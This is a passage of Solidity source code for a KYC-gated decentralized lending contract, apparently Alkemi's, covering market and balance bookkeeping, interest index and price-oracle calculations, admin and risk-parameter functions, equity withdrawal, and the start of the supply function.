blockNumber, scaled by 10e18 * borrowIndex = the interest index for borrows of asset as of blockNumber; initialized in _supportMarket * } */ struct Market { bool isSupported; uint256 blockNumber; InterestRateModel interestRateModel; uint256 totalSupply; uint256 supplyRateMantissa; uint256 supplyIndex; uint256 totalBorrows; uint256 borrowRateMantissa; uint256 borrowIndex; } /** * @dev wethAddress to hold the WETH token contract address * set using setWethAddress function */ address private wethAddress; /** * @dev Initiates the contract for supply and withdraw Ether and conversion to WETH */ AlkemiWETH public WETHContract; /** * @dev map: assetAddress -> Market */ mapping(address => Market) public markets; /** * @dev list: collateralMarkets */ address[] public collateralMarkets; /** * @dev The collateral ratio that borrows must maintain (e.g. 2 implies 2:1). This * is initially set in the constructor, but can be changed by the admin. */ Exp public collateralRatio; /** * @dev originationFee for new borrows. * */ Exp public originationFee; /** * @dev liquidationDiscount for collateral when liquidating borrows * */ Exp public liquidationDiscount; /** * @dev flag for whether or not contract is paused * */ bool public paused; /** * @dev Mapping to identify the list of KYC Admins */ mapping(address => bool) public KYCAdmins; /** * @dev Mapping to identify the list of customers with verified KYC */ mapping(address => bool) public customersWithKYC; /** * @dev Mapping to identify the list of customers with Liquidator roles */ mapping(address => bool) public liquidators; /** * The `SupplyLocalVars` struct is used internally in the `supply` function. * * To avoid solidity limits on the number of local variables we: * 1. Use a struct to hold local computation localResults * 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults * requires either both to be declared inline or both to be previously declared. * 3. Re-use a boolean error-like return variable. */ struct SupplyLocalVars { uint256 startingBalance; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 userSupplyUpdated; uint256 newTotalSupply; uint256 currentCash; uint256 updatedCash; uint256 newSupplyRateMantissa; uint256 newBorrowIndex; uint256 newBorrowRateMantissa; } /** * The `WithdrawLocalVars` struct is used internally in the `withdraw` function. * * To avoid solidity limits on the number of local variables we: * 1. Use a struct to hold local computation localResults * 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults * requires either both to be declared inline or both to be previously declared. * 3. Re-use a boolean error-like return variable. */ struct WithdrawLocalVars { uint256 withdrawAmount; uint256 startingBalance; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 userSupplyUpdated; uint256 newTotalSupply; uint256 currentCash; uint256 updatedCash; uint256 newSupplyRateMantissa; uint256 newBorrowIndex; uint256 newBorrowRateMantissa; uint256 withdrawCapacity; Exp accountLiquidity; Exp accountShortfall; Exp ethValueOfWithdrawal; } // The `AccountValueLocalVars` struct is used internally in the `CalculateAccountValuesInternal` function. struct AccountValueLocalVars { address assetAddress; uint256 collateralMarketsLength; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 newBorrowIndex; uint256 userBorrowCurrent; Exp borrowTotalValue; Exp sumBorrows; Exp supplyTotalValue; Exp sumSupplies; } // The `PayBorrowLocalVars` struct is used internally in the `repayBorrow` function. struct PayBorrowLocalVars { uint256 newBorrowIndex; uint256 userBorrowCurrent; uint256 repayAmount; uint256 userBorrowUpdated; uint256 newTotalBorrows; uint256 currentCash; uint256 updatedCash; uint256 newSupplyIndex; uint256 newSupplyRateMantissa; uint256 newBorrowRateMantissa; uint256 startingBalance; } // The `BorrowLocalVars` struct is used internally in the `borrow` function. struct BorrowLocalVars { uint256 newBorrowIndex; uint256 userBorrowCurrent; uint256 borrowAmountWithFee; uint256 userBorrowUpdated; uint256 newTotalBorrows; uint256 currentCash; uint256 updatedCash; uint256 newSupplyIndex; uint256 newSupplyRateMantissa; uint256 newBorrowRateMantissa; uint256 startingBalance; Exp accountLiquidity; Exp accountShortfall; Exp ethValueOfBorrowAmountWithFee; } // The `LiquidateLocalVars` struct is used internally in the `liquidateBorrow` function. struct LiquidateLocalVars { // we need these addresses in the struct for use with `emitLiquidationEvent` to avoid `CompilerError: Stack too deep, try removing local variables.` address targetAccount; address assetBorrow; address liquidator; address assetCollateral; // borrow index and supply index are global to the asset, not specific to the user uint256 newBorrowIndex_UnderwaterAsset; uint256 newSupplyIndex_UnderwaterAsset; uint256 newBorrowIndex_CollateralAsset; uint256 newSupplyIndex_CollateralAsset; // the target borrow's full balance with accumulated interest uint256 currentBorrowBalance_TargetUnderwaterAsset; // currentBorrowBalance_TargetUnderwaterAsset minus whatever gets repaid as part of the liquidation uint256 updatedBorrowBalance_TargetUnderwaterAsset; uint256 newTotalBorrows_ProtocolUnderwaterAsset; uint256 startingBorrowBalance_TargetUnderwaterAsset; uint256 startingSupplyBalance_TargetCollateralAsset; uint256 startingSupplyBalance_LiquidatorCollateralAsset; uint256 currentSupplyBalance_TargetCollateralAsset; uint256 updatedSupplyBalance_TargetCollateralAsset; // If liquidator already has a balance of collateralAsset, we will accumulate // interest on it before transferring seized collateral from the borrower. uint256 currentSupplyBalance_LiquidatorCollateralAsset; // This will be the liquidator's accumulated balance of collateral asset before the liquidation (if any) // plus the amount seized from the borrower. uint256 updatedSupplyBalance_LiquidatorCollateralAsset; uint256 newTotalSupply_ProtocolCollateralAsset; uint256 currentCash_ProtocolUnderwaterAsset; uint256 updatedCash_ProtocolUnderwaterAsset; // cash does not change for collateral asset uint256 newSupplyRateMantissa_ProtocolUnderwaterAsset; uint256 newBorrowRateMantissa_ProtocolUnderwaterAsset; // Why no variables for the interest rates for the collateral asset? // We don't need to calculate new rates for the collateral asset since neither cash nor borrows change uint256 discountedRepayToEvenAmount; //[supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) (discountedBorrowDenominatedCollateral) uint256 discountedBorrowDenominatedCollateral; uint256 maxCloseableBorrowAmount_TargetUnderwaterAsset; uint256 closeBorrowAmount_TargetUnderwaterAsset; uint256 seizeSupplyAmount_TargetCollateralAsset; uint256 reimburseAmount; Exp collateralPrice; Exp underwaterAssetPrice; } /** * @dev 2-level map: customerAddress -> assetAddress -> originationFeeBalance for borrows */ mapping(address => mapping(address => uint256)) public originationFeeBalance; /** * @dev Reward Control Contract address */ RewardControlInterface public rewardControl; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint256 public closeFactorMantissa; /// @dev _guardCounter and nonReentrant modifier extracted from Open Zeppelin's reEntrancyGuard /// @dev counter to allow mutex lock with only one SSTORE operation uint256 public _guardCounter; /** * @dev Prevents a contract from calling itself, directly or indirectly. * If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one `nonReentrant` function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and an `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } /** * @dev Events to notify the frontend of all the functions below */ event LiquidatorChanged(address indexed Liquidator, bool newStatus); /** * @dev emitted when a supply is received * Note: newBalance - amount - startingBalance = interest accumulated since last change */ event SupplyReceived( address account, address asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a supply is withdrawn * Note: startingBalance - amount - startingBalance = interest accumulated since last change */ event SupplyWithdrawn( address account, address asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a new borrow is taken * Note: newBalance - borrowAmountWithFee - startingBalance = interest accumulated since last change */ event BorrowTaken( address account, address asset, uint256 amount, uint256 startingBalance, uint256 borrowAmountWithFee, uint256 newBalance ); /** * @dev emitted when a borrow is repaid * Note: newBalance - amount - startingBalance = interest accumulated since last change */ event BorrowRepaid( address account, address asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a borrow is liquidated * targetAccount = user whose borrow was liquidated * assetBorrow = asset borrowed * borrowBalanceBefore = borrowBalance as most recently stored before the liquidation * borrowBalanceAccumulated = borroBalanceBefore + accumulated interest as of immediately prior to the liquidation * amountRepaid = amount of borrow repaid * liquidator = account requesting the liquidation * assetCollateral = asset taken from targetUser and given to liquidator in exchange for liquidated loan * borrowBalanceAfter = new stored borrow balance (should equal borrowBalanceAccumulated - amountRepaid) * collateralBalanceBefore = collateral balance as most recently stored before the liquidation * collateralBalanceAccumulated = collateralBalanceBefore + accumulated interest as of immediately prior to the liquidation * amountSeized = amount of collateral seized by liquidator * collateralBalanceAfter = new stored collateral balance (should equal collateralBalanceAccumulated - amountSeized) * assetBorrow and assetCollateral are not indexed as indexed addresses in an event is limited to 3 */ event BorrowLiquidated( address indexed targetAccount, address assetBorrow, uint256 borrowBalanceAccumulated, uint256 amountRepaid, address indexed liquidator, address assetCollateral, uint256 amountSeized ); /** * @dev emitted when admin withdraws equity * Note that `equityAvailableBefore` indicates equity before `amount` was removed. */ event EquityWithdrawn( address indexed asset, uint256 equityAvailableBefore, uint256 amount, address indexed owner ); /** * @dev KYC Integration */ /** * @dev Events to notify the frontend of all the functions below */ event KYCAdminChanged(address indexed KYCAdmin, bool newStatus); event KYCCustomerChanged(address indexed KYCCustomer, bool newStatus); /** * @dev Function for use by the admin of the contract to add or remove KYC Admins */ function _changeKYCAdmin(address KYCAdmin, bool newStatus) public onlyOwner { KYCAdmins[KYCAdmin] = newStatus; emit KYCAdminChanged(KYCAdmin, newStatus); } /** * @dev Function for use by the KYC admins to add or remove KYC Customers */ function _changeCustomerKYC(address customer, bool newStatus) public { require(KYCAdmins[msg.sender], "KYC_ADMIN_CHECK_FAILED"); customersWithKYC[customer] = newStatus; emit KYCCustomerChanged(customer, newStatus); } /** * @dev Liquidator Integration */ /** * @dev Function for use by the admin of the contract to add or remove Liquidators */ function _changeLiquidator(address liquidator, bool newStatus) public onlyOwner { liquidators[liquidator] = newStatus; emit LiquidatorChanged(liquidator, newStatus); } /** * @dev Simple function to calculate min between two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { if (a < b) { return a; } else { return b; } } /** * @dev Adds a given asset to the list of collateral markets. This operation is impossible to reverse. * Note: this will not add the asset if it already exists. */ function addCollateralMarket(address asset) internal { for (uint256 i = 0; i < collateralMarkets.length; i++) { if (collateralMarkets[i] == asset) { return; } } collateralMarkets.push(asset); } /** * @dev Calculates a new supply index based on the prevailing interest rates applied over time * This is defined as `we multiply the most recent supply index by (1 + blocks times rate)` * @return Return value is expressed in 1e18 scale */ function calculateInterestIndex( uint256 startingInterestIndex, uint256 interestRateMantissa, uint256 blockStart, uint256 blockEnd ) internal pure returns (Error, uint256) { // Get the block delta (Error err0, uint256 blockDelta) = sub(blockEnd, blockStart); if (err0 != Error.NO_ERROR) { return (err0, 0); } // Scale the interest rate times number of blocks // Note: Doing Exp construction inline to avoid `CompilerError: Stack too deep, try removing local variables.` (Error err1, Exp memory blocksTimesRate) = mulScalar( Exp({mantissa: interestRateMantissa}), blockDelta ); if (err1 != Error.NO_ERROR) { return (err1, 0); } // Add one to that result (which is really Exp({mantissa: expScale}) which equals 1.0) (Error err2, Exp memory onePlusBlocksTimesRate) = addExp( blocksTimesRate, Exp({mantissa: mantissaOne}) ); if (err2 != Error.NO_ERROR) { return (err2, 0); } // Then scale that accumulated interest by the old interest index to get the new interest index (Error err3, Exp memory newInterestIndexExp) = mulScalar( onePlusBlocksTimesRate, startingInterestIndex ); if (err3 != Error.NO_ERROR) { return (err3, 0); } // Finally, truncate the interest index. This works only if interest index starts large enough // that is can be accurately represented with a whole number. return (Error.NO_ERROR, truncate(newInterestIndexExp)); } /** * @dev Calculates a new balance based on a previous balance and a pair of interest indices * This is defined as: `The user's last balance checkpoint is multiplied by the currentSupplyIndex * value and divided by the user's checkpoint index value` * @return Return value is expressed in 1e18 scale */ function calculateBalance( uint256 startingBalance, uint256 interestIndexStart, uint256 interestIndexEnd ) internal pure returns (Error, uint256) { if (startingBalance == 0) { // We are accumulating interest on any previous balance; if there's no previous balance, then there is // nothing to accumulate. return (Error.NO_ERROR, 0); } (Error err0, uint256 balanceTimesIndex) = mul( startingBalance, interestIndexEnd ); if (err0 != Error.NO_ERROR) { return (err0, 0); } return div(balanceTimesIndex, interestIndexStart); } /** * @dev Gets the price for the amount specified of the given asset. * @return Return value is expressed in a magnified scale per token decimals */ function getPriceForAssetAmount( address asset, uint256 assetAmount, bool mulCollatRatio ) internal view returns (Error, Exp memory) { (Error err, Exp memory assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } if (isZeroExp(assetPrice)) { return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0})); } if (mulCollatRatio) { Exp memory scaledPrice; // Now, multiply the assetValue by the collateral ratio (err, scaledPrice) = mulExp(collateralRatio, assetPrice); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } // Get the price for the given asset amount return mulScalar(scaledPrice, assetAmount); } return mulScalar(assetPrice, assetAmount); // assetAmountWei * oraclePrice = assetValueInEth } /** * @dev Calculates the origination fee added to a given borrowAmount * This is simply `(1 + originationFee) * borrowAmount` * @return Return value is expressed in 1e18 scale */ function calculateBorrowAmountWithFee(uint256 borrowAmount) internal view returns (Error, uint256) { // When origination fee is zero, the amount with fee is simply equal to the amount if (isZeroExp(originationFee)) { return (Error.NO_ERROR, borrowAmount); } (Error err0, Exp memory originationFeeFactor) = addExp( originationFee, Exp({mantissa: mantissaOne}) ); if (err0 != Error.NO_ERROR) { return (err0, 0); } (Error err1, Exp memory borrowAmountWithFee) = mulScalar( originationFeeFactor, borrowAmount ); if (err1 != Error.NO_ERROR) { return (err1, 0); } return (Error.NO_ERROR, truncate(borrowAmountWithFee)); } /** * @dev fetches the price of asset from the PriceOracle and converts it to Exp * @param asset asset whose price should be fetched * @return Return value is expressed in a magnified scale per token decimals */ function fetchAssetPrice(address asset) internal view returns (Error, Exp memory) { if (priceOracle == address(0)) { return (Error.ZERO_ORACLE_ADDRESS, Exp({mantissa: 0})); } if (priceOracle.paused()) { return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0})); } (uint256 priceMantissa, uint8 assetDecimals) = priceOracle .getAssetPrice(asset); (Error err, uint256 magnification) = sub(18, uint256(assetDecimals)); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } (err, priceMantissa) = mul(priceMantissa, 10**magnification); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } return (Error.NO_ERROR, Exp({mantissa: priceMantissa})); } /** * @notice Reads scaled price of specified asset from the price oracle * @dev Reads scaled price of specified asset from the price oracle. * The plural name is to match a previous storage mapping that this function replaced. * @param asset Asset whose price should be retrieved * @return 0 on an error or missing price, the price scaled by 1e18 otherwise */ function assetPrices(address asset) public view returns (uint256) { (Error err, Exp memory result) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return 0; } return result.mantissa; } /** * @dev Gets the amount of the specified asset given the specified Eth value * ethValue / oraclePrice = assetAmountWei * If there's no oraclePrice, this returns (Error.DIVISION_BY_ZERO, 0) * @return Return value is expressed in a magnified scale per token decimals */ function getAssetAmountForValue(address asset, Exp ethValue) internal view returns (Error, uint256) { Error err; Exp memory assetPrice; Exp memory assetAmount; (err, assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return (err, 0); } (err, assetAmount) = divExp(ethValue, assetPrice); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(assetAmount)); } /** * @notice Admin Functions. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin * @param newOracle New oracle address * @param requestedState value to assign to `paused` * @param originationFeeMantissa rational collateral ratio, scaled by 1e18. * @param newCloseFactorMantissa new Close Factor, scaled by 1e18 * @param wethContractAddress WETH Contract Address * @param _rewardControl Reward Control Address * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _adminFunctions( address newPendingAdmin, address newOracle, bool requestedState, uint256 originationFeeMantissa, uint256 newCloseFactorMantissa, address wethContractAddress, address _rewardControl ) public onlyOwner returns (uint256) { // newPendingAdmin can be 0x00, hence not checked require(newOracle != address(0), "Cannot set weth address to 0x00"); require( originationFeeMantissa < 10**18 && newCloseFactorMantissa < 10**18, "Invalid Origination Fee or Close Factor Mantissa" ); // Store pendingAdmin = newPendingAdmin pendingAdmin = newPendingAdmin; // Verify contract at newOracle address supports assetPrices call. // This will revert if it doesn't. // ChainLink priceOracleTemp = ChainLink(newOracle); // priceOracleTemp.getAssetPrice(address(0)); // Initialize the Chainlink contract in priceOracle priceOracle = ChainLink(newOracle); paused = requestedState; originationFee = Exp({mantissa: originationFeeMantissa}); closeFactorMantissa = newCloseFactorMantissa; require( wethContractAddress != address(0), "Cannot set weth address to 0x00" ); wethAddress = wethContractAddress; WETHContract = AlkemiWETH(wethAddress); rewardControl = RewardControlInterface(_rewardControl); return uint256(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin */ function _acceptAdmin() public { // Check caller = pendingAdmin // msg.sender can't be zero require(msg.sender == pendingAdmin, "ACCEPT_ADMIN_PENDING_ADMIN_CHECK"); // Store admin = pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = 0; } /** * @notice returns the liquidity for given account. * a positive result indicates ability to borrow, whereas * a negative result indicates a shortfall which may be liquidated * @dev returns account liquidity in terms of eth-wei value, scaled by 1e18 and truncated when the value is 0 or when the last few decimals are 0 * note: this includes interest trued up on all balances * @param account the account to examine * @return signed integer in terms of eth-wei (negative indicates a shortfall) */ function getAccountLiquidity(address account) public view returns (int256) { ( Error err, Exp memory accountLiquidity, Exp memory accountShortfall ) = calculateAccountLiquidity(account); revertIfError(err); if (isZeroExp(accountLiquidity)) { return -1 * int256(truncate(accountShortfall)); } else { return int256(truncate(accountLiquidity)); } } /** * @notice return supply balance with any accumulated interest for `asset` belonging to `account` * @dev returns supply balance with any accumulated interest for `asset` belonging to `account` * @param account the account to examine * @param asset the market asset whose supply balance belonging to `account` should be checked * @return uint supply balance on success, throws on failed assertion otherwise */ function getSupplyBalance(address account, address asset) public view returns (uint256) { Error err; uint256 newSupplyIndex; uint256 userSupplyCurrent; Market storage market = markets[asset]; Balance storage supplyBalance = supplyBalances[account][asset]; // Calculate the newSupplyIndex, needed to calculate user's supplyCurrent (err, newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newSupplyIndex and stored principal to calculate the accumulated balance (err, userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, newSupplyIndex ); revertIfError(err); return userSupplyCurrent; } /** * @notice return borrow balance with any accumulated interest for `asset` belonging to `account` * @dev returns borrow balance with any accumulated interest for `asset` belonging to `account` * @param account the account to examine * @param asset the market asset whose borrow balance belonging to `account` should be checked * @return uint borrow balance on success, throws on failed assertion otherwise */ function getBorrowBalance(address account, address asset) public view returns (uint256) { Error err; uint256 newBorrowIndex; uint256 userBorrowCurrent; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[account][asset]; // Calculate the newBorrowIndex, needed to calculate user's borrowCurrent (err, newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newBorrowIndex and stored principal to calculate the accumulated balance (err, userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, newBorrowIndex ); revertIfError(err); return userBorrowCurrent; } /** * @notice Supports a given market (asset) for use * @dev Admin function to add support for a market * @param asset Asset to support; MUST already have a non-zero price set * @param interestRateModel InterestRateModel to use for the asset * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _supportMarket(address asset, InterestRateModel interestRateModel) public onlyOwner returns (uint256) { // Hard cap on the maximum number of markets allowed require( interestRateModel != address(0) && collateralMarkets.length < 16, // 16 = MAXIMUM_NUMBER_OF_MARKETS_ALLOWED "INPUT_VALIDATION_FAILED" ); (Error err, Exp memory assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.SUPPORT_MARKET_FETCH_PRICE_FAILED); } if (isZeroExp(assetPrice)) { return fail( Error.ASSET_NOT_PRICED, FailureInfo.SUPPORT_MARKET_PRICE_CHECK ); } // Set the interest rate model to `modelAddress` markets[asset].interestRateModel = interestRateModel; // Append asset to collateralAssets if not set addCollateralMarket(asset); // Set market isSupported to true markets[asset].isSupported = true; // Default supply and borrow index to 1e18 if (markets[asset].supplyIndex == 0) { markets[asset].supplyIndex = initialInterestIndex; } if (markets[asset].borrowIndex == 0) { markets[asset].borrowIndex = initialInterestIndex; } return uint256(Error.NO_ERROR); } /** * @notice Suspends a given *supported* market (asset) from use. * Assets in this state do count for collateral, but users may only withdraw, payBorrow, * and liquidate the asset. The liquidate function no longer checks collateralization. * @dev Admin function to suspend a market * @param asset Asset to suspend * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _suspendMarket(address asset) public onlyOwner returns (uint256) { // If the market is not configured at all, we don't want to add any configuration for it. // If we find !markets[asset].isSupported then either the market is not configured at all, or it // has already been marked as unsupported. We can just return without doing anything. // Caller is responsible for knowing the difference between not-configured and already unsupported. if (!markets[asset].isSupported) { return uint256(Error.NO_ERROR); } // If we get here, we know market is configured and is supported, so set isSupported to false markets[asset].isSupported = false; return uint256(Error.NO_ERROR); } /** * @notice Sets the risk parameters: collateral ratio and liquidation discount * @dev Owner function to set the risk parameters * @param collateralRatioMantissa rational collateral ratio, scaled by 1e18. The de-scaled value must be >= 1.1 * @param liquidationDiscountMantissa rational liquidation discount, scaled by 1e18. The de-scaled value must be <= 0.1 and must be less than (descaled collateral ratio minus 1) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setRiskParameters( uint256 collateralRatioMantissa, uint256 liquidationDiscountMantissa ) public onlyOwner returns (uint256) { // Input validations require( collateralRatioMantissa >= minimumCollateralRatioMantissa && liquidationDiscountMantissa <= maximumLiquidationDiscountMantissa, "Liquidation discount is more than max discount or collateral ratio is less than min ratio" ); Exp memory newCollateralRatio = Exp({ mantissa: collateralRatioMantissa }); Exp memory newLiquidationDiscount = Exp({ mantissa: liquidationDiscountMantissa }); Exp memory minimumCollateralRatio = Exp({ mantissa: minimumCollateralRatioMantissa }); Exp memory maximumLiquidationDiscount = Exp({ mantissa: maximumLiquidationDiscountMantissa }); Error err; Exp memory newLiquidationDiscountPlusOne; // Make sure new collateral ratio value is not below minimum value if (lessThanExp(newCollateralRatio, minimumCollateralRatio)) { return fail( Error.INVALID_COLLATERAL_RATIO, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // Make sure new liquidation discount does not exceed the maximum value, but reverse operands so we can use the // existing `lessThanExp` function rather than adding a `greaterThan` function to Exponential. if (lessThanExp(maximumLiquidationDiscount, newLiquidationDiscount)) { return fail( Error.INVALID_LIQUIDATION_DISCOUNT, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // C = L+1 is not allowed because it would cause division by zero error in `calculateDiscountedRepayToEvenAmount` // C < L+1 is not allowed because it would cause integer underflow error in `calculateDiscountedRepayToEvenAmount` (err, newLiquidationDiscountPlusOne) = addExp( newLiquidationDiscount, Exp({mantissa: mantissaOne}) ); revertIfError(err); // We already validated that newLiquidationDiscount does not approach overflow size if ( lessThanOrEqualExp( newCollateralRatio, newLiquidationDiscountPlusOne ) ) { return fail( Error.INVALID_COMBINED_RISK_PARAMETERS, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // Store new values collateralRatio = newCollateralRatio; liquidationDiscount = newLiquidationDiscount; return uint256(Error.NO_ERROR); } /** * @notice Sets the interest rate model for a given market * @dev Admin function to set interest rate model * @param asset Asset to support * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setMarketInterestRateModel( address asset, InterestRateModel interestRateModel ) public onlyOwner returns (uint256) { require(interestRateModel != address(0), "Rate Model cannot be 0x00"); // Set the interest rate model to `modelAddress` markets[asset].interestRateModel = interestRateModel; return uint256(Error.NO_ERROR); } /** * @notice withdraws `amount` of `asset` from equity for asset, as long as `amount` <= equity. Equity = cash + borrows - supply * @dev withdraws `amount` of `asset` from equity for asset, enforcing amount <= cash + borrows - supply * @param asset asset whose equity should be withdrawn * @param amount amount of equity to withdraw; must not exceed equity available * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _withdrawEquity(address asset, uint256 amount) public onlyOwner returns (uint256) { // Check that amount is less than cash (from ERC-20 of self) plus borrows minus supply. uint256 cash = getCash(asset); // Get supply and borrows with interest accrued till the latest block ( uint256 supplyWithInterest, uint256 borrowWithInterest ) = getMarketBalances(asset); (Error err0, uint256 equity) = addThenSub( getCash(asset), borrowWithInterest, supplyWithInterest ); if (err0 != Error.NO_ERROR) { return fail(err0, FailureInfo.EQUITY_WITHDRAWAL_CALCULATE_EQUITY); } if (amount > equity) { return fail( Error.EQUITY_INSUFFICIENT_BALANCE, FailureInfo.EQUITY_WITHDRAWAL_AMOUNT_VALIDATION ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset out of the protocol to the admin Error err2 = doTransferOut(asset, admin, amount); if (err2 != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail( err2, FailureInfo.EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED ); } } else { withdrawEther(admin, amount); // send Ether to user } (, markets[asset].supplyRateMantissa) = markets[asset] .interestRateModel .getSupplyRate(asset, cash - amount, markets[asset].totalSupply); (, markets[asset].borrowRateMantissa) = markets[asset] .interestRateModel .getBorrowRate(asset, cash - amount, markets[asset].totalBorrows); //event EquityWithdrawn(address asset, uint equityAvailableBefore, uint amount, address owner) emit EquityWithdrawn(asset, equity, amount, admin); return uint256(Error.NO_ERROR); // success } /** * @dev Convert Ether supplied by user into WETH tokens and then supply corresponding WETH to user * @return errors if any * @param etherAmount Amount of ether to be converted to WETH */ function supplyEther(uint256 etherAmount) internal returns (uint256) { require(wethAddress != address(0), "WETH_ADDRESS_NOT_SET_ERROR"); WETHContract.deposit.value(etherAmount)(); return uint256(Error.NO_ERROR); } /** * @dev Revert Ether paid by user back to user's account in case transaction fails due to some other reason * @param etherAmount Amount of ether to be sent back to user * @param user User account address */ function revertEtherToUser(address user, uint256 etherAmount) internal { if (etherAmount > 0) { user.transfer(etherAmount); } } /** * @notice supply `amount` of `asset` (which must be supported) to `msg.sender` in the protocol * @dev add amount of supported asset to msg.sender's account * @param asset The market asset to supply * @param amount The amount to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function supply(address asset, uint256 amount) public payable nonReentrant onlyCustomerWithKYC returns (uint256) { if (paused) { revertEtherToUser(msg.sender, msg.value); return fail(Error.CONTRACT_PAUSED, FailureInfo.SUPPLY_CONTRACT_PAUSED); } refreshAlkIndex(asset, msg.sender, true, true); Market storage market = markets[asset]; Balance storage balance = supplyBalances[msg.sender][asset]; SupplyLocalVars memory localResults; // Holds all our uint calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls // Fail if market not supported if (!market.isSupported) { revertEtherToUser(msg.sender, msg.value); return fail( Error.MARKET_NOT_SUPPORTED, FailureInfo.SUPPLY_MARKET_NOT_SUPPORTED ); } if (asset != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically // Fail gracefully if asset is not approved or has insufficient balance revertEtherToUser(msg.sender, msg.value); err = checkTransferIn(asset, msg.sender, amount); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_NOT_POSSIBLE); } } // We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (err, localResults.userSupplyCurrent) = calculateBalance( balance.principal, balance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } (err, localResults.userSupplyUpdated) = add( localResults.userSupplyCurrent, amount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply (err, localResults.newTotalSupply) = addThenSub( market.totalSupply, localResults.userSupplyUpdated, balance.principal ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED ); } // We need to calculate what the updated cash will be after we transfer in from user localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = add(localResults.currentCash, amount); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } // We calculate the newBorrowIndex (we already had newSupplyIndex) (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, 